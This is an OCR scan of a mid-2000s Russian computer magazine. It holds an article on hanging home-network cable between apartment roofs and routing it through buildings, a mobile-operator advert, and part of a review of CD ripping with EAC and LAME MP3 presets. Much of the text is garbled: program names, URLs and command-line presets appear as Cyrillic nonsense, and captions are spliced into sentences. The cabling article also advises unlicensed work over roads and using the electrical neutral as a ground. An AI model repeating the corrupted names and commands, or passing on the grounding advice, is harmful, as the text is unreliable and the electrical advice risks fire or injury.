
Как только выход на крышу будет обеспечен, не спеши радоваться 
и прыгать от счастья, ибо рискуешь упасть вниз головой. Если крыша 
пологая и не окружена высоким бордюром, то тебе в обязательном 
порядке нужно позаботиться о страховке. Страховочная система 
стоит совсем недорого, но зато она реально может спасти жизнь 
тебе и твоим соратникам. Поверь мне: несчастных случаев история 
знает предостаточно! 

[ловкость рук] Для того чтобы перетянуть кабель с одного дома на 
другой, понадобится минимум приспособлений. Вариантов здесь 
немного. В самом простом случае нужна лишь длинная веревка 
(капроновая нить или что-либо другое), разделенная напополам. 
Спустив с обеих крыш каждый из кусков и связав их внизу, получит- 
ся натянутая между домами нить. С ее помощью позже ты сможешь 
передать кабель с тросом с одной крыши на другую. 

Если пролет между домами совсем небольшой, то его можно прос- 
то перекинуть. Однако ты реально рискуешь разбить чужое стекло 
привязанным к веревке грузом или напрочь запутать веревку, если 
груза не будет. 

Задача может быть значительно усложнена, если между домами 
находятся какие-либо препятствия (деревья, строения, закрытые зо- 
ны и т.п.) или проходит автомобильная дорога. Универсального ре- 
цепта в этом случае, разумеется, не существует. Нужно проявить 
максимум своей смекалки и умения, чтобы каким-нибудь способом 
все-таки получить натянутую ме>кду домами веревку. В любом слу- 
чае деревья и другие препятствия можно как-нибудь обогнуть, про- 
вода — перекинуть и т.д. Если ты решишься прокладывать магист- 
раль через оживленную дорогу (что без лицензии чревато послед- 
ствиями), неплохо будет провернуть номер рано утром, когда еще 
мало машин. Но ни в коем случае не ночью: если и не свалишься с 
крыши, то имеешь вполне реальные шансы пообщаться с милицией. 





Обустраивая узел связи, 
обязательно маркируй все 
уходящие провода. Это 
легко выполнить с по- 
мощью разноцветной изо- 
ленты или бумажных би- 
рок, приклеенных к кабе- 



Некоторые кабели залива- 
ются так называемым 
компаундом (гидрофо- 
бом), что придает им 
больще живучести. Даже 
если в каком-то месте на- 
рушится изоляция, гидро- 



лю скотчем. В будущем 
это значительно облегчит 
поиск неполадок в сети. 



фоб немедленно заполнит 
возникщий пробел и пре- 
дотвратит порчу кабеля. 



[крепимся] Крепеж кабеля — это еще один очень важный момент. В 
продаже доступно огромное количество всевозможных вариаций 
крепежа и специальных девайсов. Проблема, как это обычно бы- 
вает, одна — высокая их стоимость. Впрочем, как показала практи- 
ка, наладить надежную воздушку можно и без больших затрат. 
Первым делом, безусловно, нужно определиться с местом крепле- 
ния кабеля (или троса, на который будет подвешен кабель) на кры- 
ше дома. К сожалению, на многих домах, особенно хрущевках, 
подходящих точек может попросту не оказаться. Выйдя на крышу, 
внимательно оглядись: для нашей задачи хорошо подойдут строи- 
тельные анкеры, стойки ратификации и телевизионных антенн, ар- 
матурные крюки и т.п. Для того чтобы определить, подходит ли точка 
для крепежа или нет, просто прикинь: сможет ли она выдержать 
давление увесистой воздушки. Если вдруг (не дай Бог, конечно) твой 
кабель оборвется и шарахнет по голове гуляющую внизу старушку, 
то отвечать за происшедшее будешь ты. И самое печальное — по 
полной программе! 

Впрочем, если подходящего места для крепления на крыше не ока- 
жется, отчаиваться не стоит. В качестве точки крепления хорошо за- 
рекомендовал себя собственноручно установленный анкер в сте- 
не. В нашем случае особенно удачно можно использовать анкер с 
кольцом или крюком, к которому позже легко крепится трос или 
вспомогательный талреп. 

Важно отметить, что воздушки бывают двух типов. Первый тип подра- 
зумевает использование кабеля и троса (проволоки, полевки и т.п.), 
в то время как второй обходится одним лишь кабелем. В последнем 
случае используется специальный самонесущий кабель, который 
выдерживает нагрузку за счет своей внутренней конструкции, О та- 
ком кабеле мы еще поговорим, но сперва рассмотрим первый, на- 
иболее распространенный тип воздушек. 

Ветер, налипший снег, лед создают огромные нагрузки на ка- 
бель, что может привести к его обрыву или выходу из строя. 
Чтобы избежать подобных неприятных ситуаций, используют 
трос, то есть вспомогательную опору, которая максимально 
снижает нагрузку на кабель. 

Цены на стальной трос сегодня очень высоки и часто превышают 
цену самого кабеля, И нет ничего удивительного в том, что многие 
сетевики предпочитают использовать дешевую альтернативу. Хо- 
рошо зарекомендовала себя обычная полевка (подходит для витой 



пары) и стальная, а еще лучше оцинкованная, проволока, которую 
можно использовать для подвеса даже увесистых кабелей типа 
П270/П296/КСПП. Диаметр проволоки выбирается, исходя из протя- 
женности подвеса и используемого кабеля. Так или иначе, но ме- 
нее 1,5-2-х миллиметров использовать не советую. 

Справедливости ради стоит заметить, что проволока имеет меньшую 
стоимость, но и работать с ней намного сложнее. Каким бы стран- 
ным это ни казалось, но даже размотать проволоку довольно проб- 
лематично. Самое главное — не допустить образования скруток. Это 
очень важно! Если на подвес уйдет хотя бы одна незаметная петель- 
ка, то проблемы тебе обеспечены. Рано или поздно в месте этой 
скрутки произойдет разрыв. Что будет дальше — объяснять не надо, 

[камасутра: кабель и трос] У многих новичков возникает вопрос: 
когда и как производить крепеж кабеля к тросу? Здесь можно пой- 
ти двумя путями. Первый способ дает наиболее качественный ре- 
зультат, так как соединение производится непосредственно перед 
натяжкой троса. На крыше кабель растягивается рядом с тросом и 
последовательно прикрепляется к нему через ка>кдые 50-70 см. 
Для крепления обычно используют кусочки проволоки или специ- 
альные металлические скобы (продаются в любом строительном 
магазине). Некоторые камрады используют нейлоновые стяжки, ко- 
торые действительно очень удобны для монтажа, однако подвер- 
жены влиянию морозов и солнца. Кабель между креплениями мо- 
жет чуточку провисать, но это провисание необходимо сократить 
до минимума. При этом стяжки должны сильно прижимать кабель к 
тросу, предотвращая скольжение, но не повреждая его. После 
этого кабель и трос передаются с помощью веревки на другую 
крышу. 

В условиях ограниченного пространства (например, во время ра- 
боты на пологой крыше) крепеж осуществляется иначе, и кабель 
передается постепенно. Схема проста: крепим к тросу несколько 
метров кабеля, передаем их, крепим еще пять метров, опять пере- 
даем и т.д. Так или иначе, мы приходим к тому, что кабель жестко за- 
фиксирован и не может передвигаться. По сути, это единственный 
минус данного подхода. В случае возникновения проблем на маги- 
страли тебе придется демонтировать кабель вместе с тросом, что, 
ясное дело, доставляет массу неудобств. 

От этого недостатка избавлен другой способ крепления — 
скользящие опоры, которые особенно актуальны в случае длин- 
ного пролета или тяжелого кабеля. Такие крепления легко дела- 
ются из проволоки — просто посмотри на скриншот, и все сра- 
зу станет ясно. Смысл в том, что такое крепление неподвижно 
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относительно троса, зато кабель, продетый в петли, может сво- 
бодно перемещаться. Алгоритм работы в этом случае несильно 
отличается от уже описанного. В первую очередь к тросу присо- 
единяются все крепежные элементы (примерно через каждые 
полметра), и кабель продевается в получившиеся кольца. Да- 
лее конец кабеля и троса связываются вместе и медленно пе- 
редаются на крышу другого дома. Там трос отвязывают от кабе- 
ля и производят его жесткое крепление. Готово! Теперь кабель 
совершенно свободно перемещается по всей длине воздушки! 
Отмечу, что существует таіоке спиральный вариант нежесткого под- 
веса, использующий для крепления 
длинную спираль. Однако изготовить 
его в домашних условиях не представ- 
ляется возможным, а имеющиеся в 
продаже образцы довольно дороги. 



Л. 



[для того чтобы протянуть кабель между двумя домами, 
понадобится длинная веревка, разделенная напополам] 



[пример грамотно протянутой воздушки — мотай на уо 
(фото с сайта ѵѵѵѵѵѵ.пад.ги)] 






[сам себя несу, сам себя держу] Как 

уже было сказано, в домашних сетях 
аіаивно применяется таіоке и самоне- 
сущий кабель, который не требует для 
себя дополнительного подвеса. Здесь 
есть несколько вариантов. Кабель мо- 
жет быть оснащен тросом на произво- 
дственном уровне, или же кабелю трос 
просто не требуется, так как он укреп- 
лен специальными упрочняющими 
элементами. Несмотря на удобство 
применения, первый тип особой попу- 
лярности не получил — подвела высо- 
кая стоимость. Идея отдавать 15-20 
рублей за метр обычной витухи, пускай 
даже с тросом, мало кого прельщает. 

Совсем другое дело — самонесущий 
кабель П-296 (или его аналог — П-270). 

Сейчас трудно даже представить, что 
домашние сети делали без него пару 
лет назад. Этот полевой кабель, изна- 
чально предназначенный для военных, 
выдерживает воистину астрономичес- 
кие нагрузки. Его совершенно безо- 
пасно можно кидать на расстояние до 
80-100 метров и быть уверенным за сох- 
ранность. При этом частотные харак- 
теристики таіоке выше всяких похвал: 

100-мегабитные линки на таком кабеле 
заводятся на 250 и даже 300 Мбит! Ей- 
богу, мечта! Тем более что стоимость 
такого кабеля невелика и составляет 
всего 10-1 1 рублей за метр (7-8 руб/м в 
случае П-270), Если ты планируешь 
обустроить сетку в своем микрорайо- 
не или, по крайней мере, в своем квар- 
тале — это именно то, что тебе нужно. 

Райской жизни, конечно, тебе ниісто не 
обещает, так как с кабелем придется 
изрядно повозиться. Но зато потом все 
будет работать как часы! Подробный 
мануал с множеством иллюстраций о 
том, как разделать такой кабель и нала- 
дить переход на обычную витую пару, 
ты найдешь здесь: ѵѵт/ѵлад.ги/доосі- 
іе5/Ьоок/2сМ-8.ЫтІ. 

Что касается крепления такого кабеля 
на крыше, то вариантов немного. Ши- 
рокое распространение получили 
спиральные зажимы, которые предс- 
тавляют собой ряд стальных проволок, 
соединенных вместе и скрученных в 
спираль. Это очень хорошее крепле- 
ние, однако стоит оно недешево и поэтому не всегда применимо. 
С не меньшим успехом можно использовать другую конструк- 
цию, которая практически не требует денежных вложений. 

На кабель в месте зажима накладывается сначала рези- 
новый шланг, а на него, в свою очередь, — прочная арма- 
тура длиной 20-40 см, после чего все это вместе зажимает- 
ся металлическими хомутами. Конец арматуры сгибается 
на 90 градусов и превращается в полноценный крюк, кото- 



рый можно зацепить за удобное крепление, например к 
вбитому в стену анкеру с кольцом. 

[узел связи] После того как воздушка между зданиями будет 
проложена, необходимо позаботиться о прокладке кабеля 
внутри здания. Начинать стоит с обустройства узла связи, 
где будет располагаться свитч и все остальное оборудова- 
ние, В обычном доме есть несколько подходящих мест. 
Техэтаж. Хороший вариант. Температурные условия и влажность в 
норме. С заземлением и подводом питания проблем тоже нет. Бо- 
лее того, с такого узла можно легко развес- 
ти кабель по всему зданию с минимумом 
проблем. Однако доступ к узлу будет досту- 
пен обычным смертным, поэтому все обо- 
рудование рекомендуется устанавливать в 
укрепленный железный ящик. Ну или тща- 
тельно маскировать :). 

Чердак дома. Здесь раз на раз не приходит- 
ся. Встречаются как вполне сносные черда- 
ки с приемлемыми условиями, так и совер- 
шенно ужасные варианты. Технические 
шахты (для проводки кабеля к подъездам) 
очень часто отсутствуют, питание — тоже. 
Лифтовая. Получить доступ к этому месту 
чрезвычайно сложно, так как это катего- 
рически запрещено ответственными инс- 
танциями. Однако с лифтерами иногда 
все же удается договориться, В результа- 



[арматура] 







I II 



схема крепления для самонесущего 



і^абеля] 

I 



[самонесущий кабель] 



[резиновый шланг] 



[третий человек внизу связывает концы веревки] 



АѴ 



[веревка натянута. Можно прокладывать кабель!] 



те получается идеальный вариант, 
когда обеспечена и проводка, и зазем- 
ление, и питание, и высокая безопас- 
ность. Для установки оборудования мож- 
но использовать самые хлипкие ящики. 
Подъезд. Еіе самый лучший вариант, осо- 
бенно в проблемных районах. Ящики с 
оборудованием всегда на виду и привле- 
кают внимание воров, поэтому приходит- 
ся использовать укрепленные конструк- 
ции. Еще один минус — затрудненный 
доступ к другим подъездам. К плюсам 
можно отнести хороший температурный 
режим и отсутствие проблем с питанием. 
Электрощит на лестничной площадке. Ес- 
ли удастся договориться с жильцами, то 
установить оборудование можно в элект- 
рощите на одном из верхних этажей. Щит 
можно закрыть на замок и отдать под ох- 
рану жильцов, поощряя их бесплатным 
подключением, скидками на трафик или 
чем-либо другим. Плюсы такого подхода/ 
очевидны, но доступ к другим подъездаій 
также затруднен. 

Квартира жильца. Хороший со всех сторон вариант. Единствен- 
ная проблема — трудный доступ к оборудованию. Если свитч за- 
виснет, а жильца не будет дома, то придется ждать. А что делать, 
если ждать придется очень долго? 

Подвал. Используется довольно редко, хотя по характерис- 
тикам практически не уступает техэтажу. Если собираешь- 
ся разводить кабель по подъездам через подвал, то это, бе- 
зусловно, наилучший вариант. Минусы: высокая влажность. 
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[прокладка по дому] Провести кабель по дому значительно 
проще, чем проложить линию по воздуху, но здесь, как и 
везде, есть свои секреты. К сожалению, для сетевого кабе- 
ля не существует специальной коммуникационной шахты, 
поэтому для прокладки приходится всячески изощряться и 
комбинировать различные варианты. Итак, для обеспече- 
ния связи между подъездами кабель можно проложить по: 

- техэтажу или чердаку. Кабель при таком раскладе доста- 
точно защищен от неблагоприятных погодных условий и час- 
то может быть замаскирован, В большинстве случаев можно 
без труда получить доступ к шахтам слаботочной проводки. 

- подвалу. В домашних и особенно любительских сетях этот способ 
используется нечасто. Впрочем, как и узлы связи, расположенные 
в подвальных помещениях. Тем не менее, в этом случае кабель 
полностью защищен от грозы и очень часто от вандалов, 

- крыше или стене дома. Если в доме нет чердака, а подваль- 
ное помещение по каким-то причинам не подходит, выход 
остается один — использовать для прокладки крышу или 
стены дома. Однако в таком случае 
весьма высока вероятность накопления 
в кабеле статики и выгорания портов (в 
том числе и на сетевых устройствах 
пользователей). Помимо этого, кабель 
хорошо заметен и сразу же бросается в 
глаза. 

До конечного пользователя кабель может 
быть доведен таіоке несколь- 
кими способами: 



Распространенная ошибка 
среди новичков — жела- 
ние натянуть кабель или 
трос, как струну. Делать 
этого ни в коем случае не 
стоит. Во-первых, добить- 
ся такого результата не 
получится. А во-вторых, 
кабель должен немного 
провисать. Это, в частнос- 
ти, регламентируют строи- 
тельные стандарты. 




Работая с высоким напряжением, обязательно проверяй 
его отсутствие с помощью тестера или специальной от- 
вертки, даже если уверен, что рубильник выключен. Это 
реально может спасти тебе жизнь. 




[хороший и дешевый свитч ТНЕМОпеІ, а главное — пять лет гарантии!] 




[стальная проволока зачастую может 
заменить даже дорогостоящий трос] 



По шахтам слаботочной про- 
водки (идет через все элект- 
рощитки в подъезде). Самый 
удобный и распространен- 
ный способ. Всегда нужно 
стремиться использовать именно его. 

Для удобства рекомендуется проклады- 
вать витую пару с помощью куска твер- 
дой проволоки, которая лучше проходит 
через многочисленные препятствия. 

Стоит отметить, что нередко встречают- 
ся засоренные шахты или доступ к ним 
(Ограничен жильцами. 

' По вентиляционным шахтам. Этот способ 
не очень удобен в плане исполнения, но 
в некоторых ситуациях весьма эффекти- 
вен. Главное — не пускай по таким шах- 
там питание с высоким напряжением. В этом случае ты серьезно 
нарушаешь правила пожарной безопасности и рискуешь спа- 
лить весь дом разом. 

Прокладка по внешней стене дома. Самый неблагополуч- 
ный вариант: как известно, витая пара на улице долго не 
живет, а значит, через год-два могут возникнуть пробле- 
мы. А может быть, и того раньше — если порт сетевой кар- 
ты клиента сгорит от накопившейся в кабеле статики. 

По старой традиции принято, что кабель доводят лишь до 
квартиры клиента и оставляют ему нужный запас. Но если 
пользователь изъявит желание приплатить за проводку в квар- 
тире, то иногда имеет смысл согласиться (кому помешают 
лишние деньги?). В этом случае запасись специальными 
пластмассовыми скобами (продаются в любом магазине) или 



[ящик для сетевого оборудования, разработанный 
компанией «Лансет»] 



клеевым пистолетом (стоит порядка 200 рублей на рынке). 
Для прокладки внутри помещения используется обычная витая пара 
категорий 5 и 5е. При выборе витухи необходимо позаботиться, что- 
бы кабель был из монолитной проволоки (на коробке должна быть 
пометка зоіісі). Что касается соединения кабеля, то в случае необхо- 
димости делать это стоит только с помощью сетевых розеток. В про- 
тивном случае о заветных 100 мегабитах остается только мечтать. 

[питание и грозозащита] Любое активное оборудование 
требует питания. С ним не возникает проблем, когда свитчи 
установлены в квартире или подъезде, — до электрощитка 
рукой подать. Но что делать, если узел связи находится на 
техэтаже или в подвале? Питание при таком раскладе необ- 
ходимо провести самому, и сделать можно это по-разному. 
220 вольт по проводке. Во время работы с высоким напряжени- 
ем в первую очередь нужно задуматься о пожарной безопас- 
ности. Никогда и ни под каким предлогом не проводи на де- 
ревянную крышу 220 вольт — это влечет за собой огромную 
ответственность. Да и вообще, работая с 
таким напряжением, необходимо как 
можно больше использовать трубы и ка- 
чественную проводку. 

8-10 вольт по неиспользуемым парам виту- 
хи. Как известно, витая пара юзает для пе- 
редачи данных только две из четырех пар. 
Две оставшиеся по вине устоявшихся стан- 
дартов, как правило, отдыха- 
ют. При желании это недора- 
зумение можно исправить и 
пустить по ним необходимые 
для свитчей 8В/1А, Если длина 
кабеля небольшая (до 20-25 
метров, хотя наверняка ска- 
зать нельзя), то вполне воз- 
можно просто отделить стан- 
дартный блок питания от шну- 
ра и подсоединить его к не- 
используемым проводам ви- 
той пары без каких-либо 
приспособлений. Если же 
расстояние значительно 
больше, то без специальных 
девайсов, к сожалению, не 
обойтись. Проштудируй 
подборку материалов из 
врезки, и ты найдешь все 
необходимые схемы. 

Еще одним важным атрибу- 
том всех современных ло- 
кальных сетей является гро- 
зозащита. Все кабели, рас- 
положенные на улице, подвержены вли- 
янию молний, грозовых облаков и накоп- 
ленной в воздухе статики. Все это рано 
или поздно приводит к тому, что в кабеле 
накапливается огромный заряд, кото- 
рый в момент убивает подключенные к 
нему порты на свитчах и сетевых картах. 
Такие явления особенно часто проявля- 
ются во время грозы (ага, все прошлое 
лето сидел без инета, как идиот! — 
Прим, доцента Бублика), 

Чтобы исключить подобные выгора- 
ния, на каждый порт, идущий с улицы, устанавливается 
пакет грозозащиты. Как правило, это простой и недоро- 
гой девайс (100-150 рублей), сделанный по упрощенной 
схеме фирменной приблуды АРС МеТРгоТесІ. При жела- 
нии его вообще можно сделать самому, но для этого 
требуются навыки работы с паяльником (ссылки на 
схемы ищи в сноске). 

Любая грозозащита имеет специальный проводок, который необ- 
ходимо заземлить. Это ключевой момент всей системы: если зазем- 
ление обеспечено не будет, то само использование защиты теряет 
всякий смысл. Суровые российские реалии часто не позволяют 
провести хорошее заземление, но зато предлагают запасной ва- 
риант — нуль. Спроси любого местного электрика, и он с радостью 
расскажет, как к нему можно подключиться @ 



[нейлоновые стяжки] 





СІ МЕГАФОН 

Будущее зависит от тебя 



новое предложение 

«БЕЛЫЕ ночи» 



Для самых общительных «МегаФон» 
отменяет плату за все звонки 
внутри сети в ночное время. 



Подробности - в точках продаж, 



Министерства РФ по связи и информатизации от 09.03.2000 







ЮНИТЫ КРЕАТИФФ КОДИНГ УМІХОЮ СЦЕНА ВЗЛОМ ИМПЛАНТ РС.20МЕ РЕППУМ НЬЮСЫ 






ОѲѲ ѴОВВІ8 ѵз. 
МРЗ: кто кого 
похоронит? 

КОЛИЧЕСТВО ИНТЕРЕСНОЙ МУЗЫКИ С ТЕЧЕ- 
НИЕМ ВРЕМЕНИ ВСЕ ВОЗРАСТАЕТ, ХРАНИТЬ 
АУДИОДИСКИ В ПОРЯДКЕ СТАНОВИТСЯ ВСЕ 
СЛОЖНЕЕ, ОНИ ЗАНИМАЮТ СЛИШКОМ МНО- 
ГО МЕСТА. ОБЫЧНЫЙ ДЛЯ МНОГИХ ВЫХОД — 
КОЛЛЕКЦИОНИРОВАНИЕ ЗВУКА В МРЗ. ПОКА 
ЧТО СПАСАЛ. ОДНАКО СЛЕГКА НАСТОРАЖИ- 
ВАЕТ ТОТ ПРОСТОЙ ФАКТ, ЧТО ФОРМАТУ 
МРЗ УЖЕ СТО ЛЕТ В ПЯТНИЦУ, А ДОСТОЙ- 
НОЙ АЛЬТЕРНАТИВЫ ЕМУ КАК-ТО ДО СИХ 
ПОР НЕ БЫЛО. ИЛИ ОНА СУЩЕСТВУЕТ, НО 
ПОКА НОРМАЛЬНОГО РАСПРОСТРАНЕНИЯ НЕ 
ПОЛУЧИЛА? ПОСЛЕДНИЙ РАЗ Я ЗАДАВАЛСЯ 
ПОДОБНЫМ ВОПРОСОМ СОВСЕМ НЕДАВНО, 
ПЕРЕПРОБОВАЛ МНОЖЕСТВО ПРОГРАММ, 
ПЕРЕСЛУШАЛ ОГРОМНОЕ КОЛИЧЕСТВО ФАЙ- 
ЛОВ С КОДИРОВАННОЙ МУЗЫКОЙ И ВСЕ-ТА- 
КИ СВОЙ ВЫБОР СДЕЛАЛ. НЕ СТОИТ СЧИ- 
ТАТЬ ЕГО ЕДИНСТВЕННО ВЕРНЫМ, ХОТЯ НЕ- 
КОТОРЫЕ ДОВОДЫ В ЕГО ЗАЩИТУ Я ВСЕ ЖЕ 
ПРИВЕДУ I Михаил Михин (сепіпегі^геаі. хакер. ги) 



Ноіуѵѵаг, или Великая 
битва форматов 

[теоретическая часть подготовки юного 
аудиофила] Итак, для начала немного тео- 
рии: для того чтобы добавить к своей музы- 
кальной коллекции очередной компакт- 
диск, тебе потребуется вечная пара спе- 
циальных программ — граббер и кодек. 
Граббер целиком и полностью несет отве- 
тственность за корректное извлечение му- 
зыкального файла с компакт-диска на вин- 
честер компьютера, а кодек отвечает за 
компрессию уже извлеченного файла в 
компактный формат. Вот тут уже начинают- 
ся проблемы множественного выбора. И 
грабберов, и кодеков настолько много, что 
человек, не разбирающийся в данном 
вопросе, может совсем отчаяться. 
Отчаиваться, конечно, не стоит, особенно 
если учесть, что практически любой фор- 
мат компрессии звука придуман, чтобы 
быть распространенным как можно шире. 
Соответственно, управление такого рода 
программой в борьбе за новых и новых 
пользователей разработчики стремятся 
сделать простым и доступным, А пользова- 
тели заинтересованы в том, чтобы предло- 
женная им программа могла бы на выходе 
выдавать файлы небольшого размера, но 
настолько качественные, чтобы среднес- 
татистический слушатель не замечал раз- 
ницы с оригиналом в формате \л/аѵ. Зада- 
ча этого обзора — выбрать из множества 
программ наиболее достойную пару 
граббер/кодек и наглядно продемонстри- 
ровать их преимущества перед потенци- 




альными пользователями. Программы будут выбираться по цело- 
му ряду признаков, среди которых наивысшее качество, бесп- 
латность и отсутствие долгой возни с настройками. Приступим. 

[аудиоэкстракция] Как ты уже знаешь, кодирование звука начина- 
ется с его извлечения с СО. Это и есть главная задача программы- 
граббера. Разумеется, речь идет об экстракции звука в Іоззіезз-ви- 
де на этапе «музыкальный диск — винчестер компьютера», а зна- 
чит, цифровой поток с аудиодиска должен быть извлечен так, что- 
бы, располагаясь в виде \л/аѵ-файла на винчестере, до последне- 
го бита соответствовать содержимому СО. В противном случае в 
возне с граббингом нет вовсе никакого смысла. Вот именно по 
этой причине я рекомендую использовать в качестве программы- 
экстраіаора звука с диска ЕАС, или ЕХАСТ АІІОІО СОРУ. Програм- 
ма бесплатная, лежит по адресу тѵ\л/ѵ.ехасіаисІіосору.сІе. 
Почему же ЕАС? Потому что авторы программы поставили во гла- 
ву угла КАЧЕСТВО работы, до которого многим другим подобным 
программам далеко. ЕАС использует метод считывания Зесиге, 
читая все секторы компакт-диска по крайней мере дважды, в то 
время как другие программы довольствуются одноразовым счи- 
тыванием, допуская ошибки. Бывает, что ЕАС не в состоянии счи- 
тать данные с компакта, который сильно поцарапан или заляпан 
отпечатками жирных пальцев. В таком случае программа повто- 
ряет чтение до 82 раз, если же после всех попыток данные не 
удается считать, ЕАС сообщает об ошибке и указывает точное 
местонахождение сбоя, дабы ты смог самостоятельно прослу- 
шать кусок трека на предмет выявления звуковых артефактов. 
Иными словами, скорость работы ЕАС не так высока, как у неко- 
торых конкурентов, зато программа перечитывает любой подоз- 
рительно сбойный сектор на СО и делает это до тех пор, пока не 
прочтет его правильно. 



[готовим ограбление] Для того чтобы добиться от программы пол- 
ноценной работы, ее необходимо должным образом настроить, 
обучив ЕАС оптимальным параметрам чтения именно твоего СО- 
привода. Основное требование программы — нормальный СО- 
драйв (у меня отлично работает на стареньком АЗУЗ СО-3400). При 
первом же запуске после нажатия Р10 программа самостоятельно 
протестирует СО-привод на профпригодность и в дальнейшем бу- 
дет пользоваться данными, полученными в итоге операции 
АІЯООЕТЕСТ. Прекрасно, если твой привод знаком с распознава- 
нием и коррекцией ошибок чтения С2 роіпРегз. Наличие С2 хорошо 
тем, что, используя такой механизм выявления ошибок, программа 
может вовремя сообщить о том, что «медицина бессильна», а не 
скромно промолчать, как делают многие другие грабберы. 
Каждый СО-привод извлекает цифровые звуковые данные с неко- 
торым смещением, которое называется затріе оЕСзеЕ, По ряду 
причин экстракция трека происходит не с самого его начала, а с 
начала трека -ь оЕСзеЕ или с начала трека - оЕСзеЕ. Если учитывать 
размер смещения при извлечении данных с диска, то на любом 
приводе получим абсолютно идентичный результат. ЕАС умеет 
учитывать смещение, но потребуется аисІіо-СО из базы, доступ- 
ной на сайте разра- 
ботчиков ЕАС, чтобы 
предложить прог- 
рамме сравнить 
данные с образ- 
цом, данные кото- 
рого в ЕАС уже 
встроены. В процес- 
се настройки прог- 
раммы стоит активи- 
[интерфейс программы ЕхасГ Аисііо Сору] ровать поддержку 



функций СООВ — в таком случае софтина попытается самостоя- 
тельно определить, что за диск ей предложили, и сама пропишет 
в готовых файлах необходимые тэги, 

[тюнинг для гуру] Перед тем как начать извлекать музыку, отключи 
ненужные функции программы и включи только необходимые. 
Например, программа позволяет установить принудительную 
нормализацию громкости звука. Тогда вся сграбленная музыка 
будет иметь примерно одинаковую громкость, но строго говоря, 
нормализация — это дополнительные искажения исходного сиг- 
нала, а точнее — передискретизация с новым уровнем сигнала, 
что не способствует получению файлов максимально лучшего 
качества. В ЕАС хватает вкладок с функциями, разобраться с ни- 
ми несложно, если хотя бы немного знаешь английский. Если не 
знаешь — добро пожаловать на русскоязычный сайт 
ІтИр://ѳас.Іі12.ги, где программа разобрана подробно и про- 



[ЧТО ТАКОЕ ѴВЯ?] 

ѴВЯ (ѴагіаЫе ВіІЯаІе) — это переменный битрейт со 
своей психоакустической моделью, управляющей сме- 
ной битрейта. ѴВЯ позволяет задать необходимый 
пользователю уровень качества, возложив на прог- 
рамму задачу подогнать под указанный уровень мини- 
мально возможные значения ширины кодируемого по- 
тока. ѴВЯ позволяет сжимать звуковой ряд с перемен- 
ным потоком, обеспечивая максимально возможное 
качество и здорово экономя дисковое пространство. 
Режим ѴВЯ — одно из самых сильных мест кодека 
^ате на пару с его психоакустикой. 




[хакер 06 [78] 05 > 






[хакер 06 [78] 05 > РС_20МЕ 036 ] 



[ПРЕСЕТЫ] 

^ате последних версий рассчитан на работу с пресе- 
тами — заранее определенными схемами настроек па- 
раметров. При использовании ^АI\/IЕ совместно с ЕАС 
в настройках последнего можно указать необходимый 
пресет и получить требуемый файл без колдовства с 
командной строкой, а просто ориентируясь на привыч- 
ное «удовлетворительно/хорошо/отлично». Каждый та- 
кой пресет был тщательно протестирован, и ты мо- 
жешь вполне положиться на его внутренние настрой- 
ки. Подробное описание пресетов можно получить, за- 
пустив кодек с параметром -ргезеі Іопдііеір, нас же в 
данный момент интересуют так называемые альтерна- 
тивные пресеты, настроенные при помощи прослуши- 
ваний для получения максимального качества. Всего 
таких пресета три: 

-аіі-ргезеі зіапбагсі (в среднем 180-190 КЬрз, отличное 
качество); 

-аІІ-ргезеІ ехігете (в среднем 220-240 КЬрз, суперот- 
личное качество): 

-аІІ-ргезеІ іпзапе (320 КЬрз, максимально возможное 
качество). 

Первые два пресета годятся для кодирования звука с 
ѴВВ и по качеству между собой отличаются не сильно. 
Я рекомендую для своей музыкальной коллекции ис- 
пользовать именно два первых пресета, подключая 
второй лишь в случае, когда хочешь особенно тща- 
тельной проработки кодируемого музыкального мате- 
риала. И ни в коем случае не дополняй стандартные 
пресеты своими параметрами — никто не отважится 
предсказать результаты. 



фессионально. Для 
совсем затрудняю- 
щихся имеется по- 
шаговый мастер 
настроек, с ним точ- 
но не ошибешься. 
Теперь остается са- 
мый последний этап 
— установка коде- 
ка, который будет 
пахать из оболочки 
граббера ЕАС. Про- 
цесс очень неза- 
мысловатый: кача- 
ешь любой кодек в 
виде сІІІ-библиотеки 
или ехе и помеща- 
ешь файл в систем- 
ную папку протраммы. Запускаешь ЕАС и на вкладке СОМРРЕЗ- 
ЗІОМ ОРТІОЫЗ выбираешь подходящий кодек. Если ты использу- 
ешь внешний кодек в виде ехе-файла, то ЕАС позволяет прописы- 
вать для него специальные параметры, которые мы рассмотрим 
ниже применительно к кодеку ЕАМЕ. 

[кодируем звук] Если с программой-траббером все ясно и доволь- 
но однозначно, то процесс выбора кодека способен довести до 
безумия и истерики любого меломанствующего любителя. Из тех 
протрамм, что встречались и встречаются более или менее часто, 
можно запросто перечислить штук 15: МРЗ Ргосіисег Ьу ЕгаипГюІег, 
РгаипГюІег N3 МРЕС Еауег 3 собес Гог ѴѴІпбо\л/з, ІЗЕпс Ьу ЕгаипГюГег, 
Аибіо Саіаіузі, Хіпд МРЕС епсобег, Еате епсобег, ВІабе епсобег, 
Т\л/іпѴО Епсобег, ѴатаГіа ЗоипбѴО, ЕідиіГіег Рго, Зогепзоп Здиееге, 
ЕААС, РзуТеІ ААС епсобег, ѴѴІпбо\л/5 Мебіа Епсобег, ОоІЬу епсобег 
Ьу Оідідгагп, ТТА, МРедРІиз Епсобег, СОезідп МР2 АСМ, АТРАСЗ 
АСМ собес Ьу Зопу, АибіоѴеба и так далее. 

Прежде всего обратим внимание на тот факт, что компрессия звука 
— это ВСЕГДА сжатие с потерями (Іоззіезз-кодеки не рассматрива- 
ем). При компрессии звука мыв каких-то пределах жертвуем его ка- 
чеством, выигрывая в размере файла. Применение сжатия звука с 
потерями, на мой взгляд, допустимо, если не влечет за собой явно 
слышимых искажений. То бишь фронт работ для компрессии музы- 
ки открывается при условии, что потребитель желает добиться пол- 
ного или почти полного субъективного сохранения качества исход- 
ного звука при экономии места, занимаемого этим самым звуком. 



Дальше возникает 
вопрос о выборе 
степени сжатия зву- 
ковой информации, 
то есть о выборе бит- 
рейта, ведь комп- 
рессия звука допус- 
кает потерю качест- 
ва в процессе коди- 
рования. Чем выше 
степень сжатия, тем 
значительнее поте- 
ри в качестве. 

Но и здесь есть воз- 
можность добиться 
неких результатов, 
способных утешить 
любителей качест- 
венного кодирован- 
ного звука. Дело в 
том, что человечес- 
кий слух можно в не- 
котором смысле 
одурачить, исполь- 
зуя хорошую психо- 
акустическую мо- 
дель трЗ-кодека. В таком случае при правильной настройке 
программ (граббер плюс кодек) можно создавать звуковые фай- 
лы небольшого размера, но на слух неотличимые от исходника 
даже натренированным ухом. 

